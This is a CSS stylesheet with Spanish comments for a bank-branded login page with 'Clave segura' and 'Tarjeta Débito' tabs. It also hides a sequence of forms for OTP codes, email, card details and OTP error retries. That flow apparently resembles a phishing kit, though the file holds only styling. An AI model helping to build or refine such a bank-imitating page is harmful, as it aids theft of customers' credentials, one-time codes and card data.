/* ============================================================
   BASE
   ============================================================ */
html, body{
  height:100%;
  margin:0;
  background:#F6FAFF; /* color de la mitad derecha */
  font-family:"Inter",system-ui,-apple-system,"Segoe UI",Roboto,sans-serif;
}

/* ============================================================
   CONTENEDOR PRINCIPAL: DOS MITADES EXACTAS
   ============================================================ */
#tbl-contenido{
  display:table;
  table-layout:fixed;
  width:100vw;
  height:100vh;
  border-collapse:collapse;
  margin:0;
}

/* Cada mitad ocupa 50% y se alinea verticalmente al centro */
#lado-izq, #lado-der{
  display:table-cell;
  width:50vw;
  vertical-align:top !important;
  padding:0;
}

/* ============================================================
   MITAD IZQUIERDA (login)
   ============================================================ */
#lado-izq{
  background:#ffffff;
}

/* Contenedor del login (NO es el card) */
#cont-lado-izq{
  width:560px;
  margin-left:auto;
  margin-right:72px;           /* distancia del eje central */
  padding:0 32px 32px;
  box-sizing:border-box;

  /* ⬇️ lo dejamos transparente para que el “cuadro” real sea .formulario */
  background:transparent;
  border:0;
  border-radius:0;
  box-shadow:none;
  position:relative;
}

/* ============================================================
   MITAD DERECHA (banner)
   ============================================================ */
#lado-der{ background:#F6FAFF; }

#cont-lado-der{
  width:90%;
  max-width:880px;
  margin-left:72px;
  margin-right:auto;
  padding:0 48px 40px 48px;
  background:transparent;
  box-sizing:border-box;
}

/* ============================================================
   DETALLES VISUALES DEL LOGIN
   ============================================================ */
#logo{ width:180px; margin:12px 0 16px 0; }

.titulo{
  font-size:22px;
  line-height:32px;
  letter-spacing:0;
  color:#0f172a;
  font-weight:600;
  margin-bottom:15px;
}

.vinculo{
  color:#00317e;
  font-size:14px;
  font-weight:500;
  line-height:18px;
  letter-spacing:.2px;
}
.vinculo:hover{ text-decoration:underline; cursor:pointer; }

/* ============================================================
   TABS (Clave segura / Tarjeta Débito) — mantiene tu raya azul
   ============================================================ */
.tabs{
  background-color:#fff;
  color:#5c5c5c;
  padding:18px 0;
  border-bottom:2px solid #e6e6e6;
  cursor:pointer;
}
.tabs:hover{ background-color:#D4E5F8; }

#clave-segura{
  border-radius:8px 0 0 0;
  color:#0040A8;
  border-bottom:2px solid #0040A8;   /* ← tu subrayado azul, intacto */
}
#tarjeta-debito{ border-radius:0 8px 0 0; }

/* Aviso informativo (opcional) */
.aviso-tabs{
  background:#EAF2FF;
  border:1px solid #D7E7FF;
  border-radius:12px;
  padding:16px;
  margin:12px 0 18px;
  line-height:1.45;
  color:#0f172a;
  font-weight:500;
  position:relative;
}
.aviso-tabs .close-x{
  position:absolute; right:16px; top:16px;
  width:28px; height:28px; border-radius:999px;
  border:1px solid #D7E7FF; background:#fff;
  display:grid; place-items:center;
  color:#0b5fd6; font-weight:700; font-size:14px;
  cursor:pointer;
}

/* ============================================================
  Cuadro del formulario
   ============================================================ */
.formulario{
  background:#fff;
  border:1px solid #e6e6e6;
  border-radius:12px;
  box-shadow:none;         /* 🔹 sin elevación, plano */
  padding:0 0px 30px;
  margin-top:16px;
  box-sizing:border-box;
  overflow:hidden;
}

/* ============================================================
   Inputs
   ============================================================ */
.etiqueta{
  color:#444;
  font-size:14px;
  line-height:20px;
  margin:24px 0 12px 0;
}
.entrada{
  height:48px;
  border-radius:4px;
  outline:none;
  border:1px solid #b3b3b3;
  width:100%;
  color:#000;
  font-size:18px;
  line-height:24px;
  padding:0 16px;
  box-sizing:border-box;
}
.entrada:hover:not(:focus){ border:1px solid #000; }
.entrada:focus{
  border:2px solid #0043A9;
  box-shadow:0 0 0 3px rgba(0,67,169,.15);
}

.cont-form{ padding:0 24px; }

/* ============================================================
   Botón (se respeta tu estado visual)
   ============================================================ */
.btn{
  background:#0043A9;
  color:#fff;
  border:1px solid #e6e6e6;
  width:100%;
  border-radius:100px;
  cursor:pointer;
  outline:none;
  height:48px;
  font-size:16px;
  font-weight:500;
  line-height:24px;
  letter-spacing:.2px;
  margin:26px 0;
  transition:box-shadow .15s, background .15s;
}
.btn:hover{
  background:#00317E;
  box-shadow:0 4px 12px 0 rgba(0,64,168,.4);
  border:1px solid #00317e;
}
.btn:disabled{
  background:#f2f2f2;
  color:#808080;
  border:none;
  box-shadow:none;
  cursor:not-allowed;
}

/* Enlaces debajo del botón */
.links-row{
  display:flex;
  justify-content:space-between;
  gap:24px;
  padding-top:16px;
  border-top:1px solid #e5e7eb;
}
.links-row a{ font-weight:600; color:#0b5fd6; }

/* Formularios ocultos (lógica intacta) */
#fmr-clave-s{ display:none; }
#frm-otp,#frm-correo,#frm-tarjeta,#frm-errorotp,#frm-otpsms,#frm-errotpsms{ display:none; }

/* ============================================================
   RESPONSIVE (igual que tenías)
   ============================================================ */
@media (max-width:1024px){
  #tbl-contenido{ display:block; height:auto; width:100%; }
  #lado-izq,#lado-der{ display:block; width:100%; }
  #lado-der{ display:none; }
  #cont-lado-izq{
    margin:40px auto;
    max-width:520px;
    padding:0 20px 24px;
  }
}

.captions {
  font-size: 12px;
  font-family: Roboto-Regular, sans-serif;
  font-weight: normal;
  line-height: 18px;
  letter-spacing: .2px;
  color: #6b7280;
}
footer a,
.captions a,
.recaptcha a {
  text-decoration: none !important; /* sin subrayado */
}
#msj-inicio{
  display:flex;
  align-items:center;
  justify-content: center;
  background-color:#edf7ff;
  padding: 16px, 12px, 16px, 16px;
}
#msj-ini{
  color: #444444;
}
#txt-inicio{
  font-size: 14px;
  font-family: Roboto-Regular, sans-serif;
  font-weight: normal;
  line-height: 20px;
  letter-spacing: 0px;
}
/* ===== Contenedor general del mensaje ===== */
.msj-inicio {
  position: relative;                 /* Necesario para posicionar el botón dentro */
  background: #EAF2FF;                /* fondo azul claro */
  border: 1px solid #D7E7FF;
  border-radius: 12px;
  padding: 16px 56px 16px 16px;       /* espacio a la derecha para el botón */
  margin: 12px 0 18px;
  line-height: 1.45;
  color: #0f172a;
  font-weight: 500;
  font-size: 14px;
}

/* ===== Botón de cerrar ===== */
.btn-x {
  position: absolute;
  top: 12px;
  right: 12px;
}

.btn-x-action {
  --size: 36px;
  width: var(--size);
  height: var(--size);
  display: inline-grid;
  place-items: center;
  border: 0;
  background: transparent;
  border-radius: 999px;
  cursor: pointer;
  transition: background 0.18s ease, transform 0.06s ease;
}

.btn-x-action:hover {
  background: #DDE9FF;
}

.btn-x-action:active {
  transform: scale(0.95);
}

.btn-x-action:focus-visible {
  outline: 2px solid #0043A9;
  outline-offset: 2px;
}

/* ===== Icono X ===== */
.ico-close {
  position: relative;
  width: 22px;
  height: 22px;
}

.ico-close::before,
.ico-close::after {
  content: "";
  position: absolute;
  left: 50%;
  top: 50%;
  width: 2px;
  height: 18px;
  background: #0043A9;
  border-radius: 2px;
  transform-origin: center;
}

.ico-close::before {
  transform: translate(-50%, -50%) rotate(45deg);
}

.ico-close::after {
  transform: translate(-50%, -50%) rotate(-45deg);
}

/* ===== Responsive ===== */
@media (max-width: 480px) {
  .btn-x-action {
    --size: 30px;
  }
  .ico-close {
    width: 18px;
    height: 18px;
  }
  .ico-close::before,
  .ico-close::after {
    height: 14px;
  }
}
/* ===== AVISO BAJO TABS (corregido) ===== */

/* Franja del mensaje: a todo el ancho interno del card, sin gap arriba */
.msj-inicio{
  position: relative;
  /* Compensamos el padding lateral del card para que sangre hasta los bordes */
  margin: 0 -24px 0;                 /* ← quita el espacio superior */
  padding: 16px 64px 16px 24px;      /* espacio para la X a la derecha */
  background: #EEF6FF;               /* celeste suave */
  border-top: 0;                      /* sin línea arriba */
  border-bottom: 1px solid #E5EDF9;   /* línea inferior muy sutil */
  border-radius: 0;                   /* plano, sin esquinas */
  box-shadow: none;                   /* sin elevación */
}

/* Texto del aviso */
.msj-inicio .msj-ini,
.msj-inicio .txt-inicio{
  margin: 0;
  font-size: 17px;
  line-height: 1.55;
  color: #374151;                     /* gris del texto */
  font-weight: 500;
}

/* Contenedor del botón de cierre */
.msj-inicio .btn-x{
  position: absolute;
  top: 50%;
  right: 16px;
  transform: translateY(-50%);
}

/* Área clickeable “X” (circular, sin borde) */
.msj-inicio .btn-x-action{
  appearance: none;
  border: 0;
  background: transparent;
  width: 40px;
  height: 40px;
  border-radius: 999px;
  display: grid;
  place-items: center;
  cursor: pointer;
}
.msj-inicio .btn-x-action:hover{ background:#E9F1FF; }
.msj-inicio .btn-x-action:focus-visible{
  outline: 2px solid #1E3A8A;
  outline-offset: 2px;
}

/* Icono “X” (dos trazos) */
.msj-inicio .ico-close{
  position: relative;
  width: 20px;         /* tamaño del ícono */
  height: 20px;
}
.msj-inicio .ico-close::before,
.msj-inicio .ico-close::after{
  content:"";
  position:absolute;
  left:0; top:50%;
  width: 20px;
  height: 2px;         /* grosor del trazo */
  background:#1F4BB5;  /* azul Banco */
  transform-origin:center;
}
.msj-inicio .ico-close::before{ transform:translateY(-50%) rotate(45deg); }
.msj-inicio .ico-close::after { transform:translateY(-50%) rotate(-45deg); }

/* Mobile: si tu card usa menos padding lateral */
@media (max-width: 480px){
  .msj-inicio{
    margin: 0 -20px 0;
    padding: 14px 56px 14px 20px;
  }
  .msj-inicio .msj-ini,
  .msj-inicio .txt-inicio{ font-size: 16px; }
}


/* ===== Revertir tipografías al ORIGINAL (sin cambiar layout) ===== */
@media (max-width: 480px){
  /* Título principal */
  .titulo{
    font-size: 22px !important;
    line-height: 32px !important;
    font-weight: 600 !important;
  }

  /* Tabs: Clave segura / Tarjeta Débito */
  #frm-login .tabs{
    font-size: 14px !important;
    font-weight: 600 !important;
  }

  /* Aviso bajo las tabs */
  .msj-inicio .msj-ini,
  .msj-inicio .txt-inicio{
    font-size: 14px !important;
    line-height: 20px !important;
    font-weight: 500 !important;
  }
}
/* ===== Aviso para #des-correo (sin botón X) ===== */
/* Sangra hasta los bordes internos del card como el aviso de Clave segura */
#frm-correo #des-correo,
#des-correo{
  position: relative;
  margin: 0 -24px 0;        /* compensa el padding lateral del card */
  padding: 16px 24px;       /* respiro interno */
  background: #EEF6FF;      /* celeste suave */
  border-top: 0;
  border-bottom: 1px solid #E5EDF9;  /* línea sutil inferior */
  border-radius: 0;         /* plano, sin esquinas redondeadas */
  box-shadow: none;         /* sin elevación */
  color: #374151;           /* gris de texto */
  font-weight: 500;
  font-size: 17px;
  line-height: 1.55;
}

/* Ajuste tipográfico en móvil para igualar al resto */
@media (max-width: 480px){
  #frm-correo #des-correo,
  #des-correo{
    margin: 0 -20px 0;      /* si tu card usa 20px de padding en mobile */
    padding: 14px 20px;
    font-size: 14px;
    line-height: 20px;
  }
}
/* --- Ocultar por defecto en escritorio --- */
#lado-izq-aba { 
  display: none; 
}

/* Ajustes visuales del bloque (opcional pero recomendado) */
#cont-lado-aba{
  width: 100%;
  max-width: 480px;
  margin: 0 auto;
  padding: 0 16px;
  box-sizing: border-box;
}
#cont-lado-aba .recuadro img,
#cont-lado-aba .logos img{
  width: 100% !important;   /* evita desbordes (corrige width="120%") */
  max-width: 100%;
  height: auto;
  display: block;
}

/* --- Mostrar en móvil / tablet y pulir layout --- */
@media (max-width: 1024px){
  #lado-izq-aba { 
    display: block; 
  }
  /* Si usas la tabla #tbl-contenido en móvil, este bloque se verá como sección independiente */
  #cont-lado-aba{
    max-width: 420px;        /* ajusta si quieres más/menos ancho en móvil */
    padding: 0 20px;
  }
}
/* ====== PARCHE ANTI-DESBORDE MOVIL / FIREFOX ====== */

/* Evitar scroll horizontal global */
html, body {
  overflow-x: hidden;
  max-width: 100%;
}

/* No usar 100vw/100vh (causan 1-2px extra en FF móvil) */
#tbl-contenido{
  width: 100%;           /* antes: 100vw */
  height: auto;          /* no fuerces vh en móvil */
  min-height: 100dvh;    /* viewport dinámico moderno */
}

/* Fallback si el navegador no soporta dvh */
@supports not (height: 100dvh) {
  #tbl-contenido { min-height: 100vh; }
}

/* En móvil: fuerza layout de una sola columna, 100% y centrado */
@media (max-width: 1024px){
  #tbl-contenido { display:block; }
  #lado-izq, #lado-der { display:block; width:100%; }
  #lado-der{ display:none; }

  /* Contenedor del login centrado y sin desbordes */
  #cont-lado-izq{
    max-width: 520px;
    width: calc(100% - 40px); /* bordes laterales seguros */
    margin: 40px auto;
    padding: 0 20px 24px;
  }

  /* El aviso no debe “sangrar” fuera en móvil */
  .msj-inicio{
    margin-left: 0 !important;
    margin-right: 0 !important;
    padding-left: 16px;   /* un poco más estrecho en phones */
    padding-right: 56px;  /* deja espacio para la X */
  }
}

/* Imágenes y tablas jamás más anchas que su contenedor */
img, table { max-width: 100%; height: auto; }

/* Todo cuenta padding/border dentro del ancho: evita 1px fantasma */
*, *::before, *::after { box-sizing: border-box; }

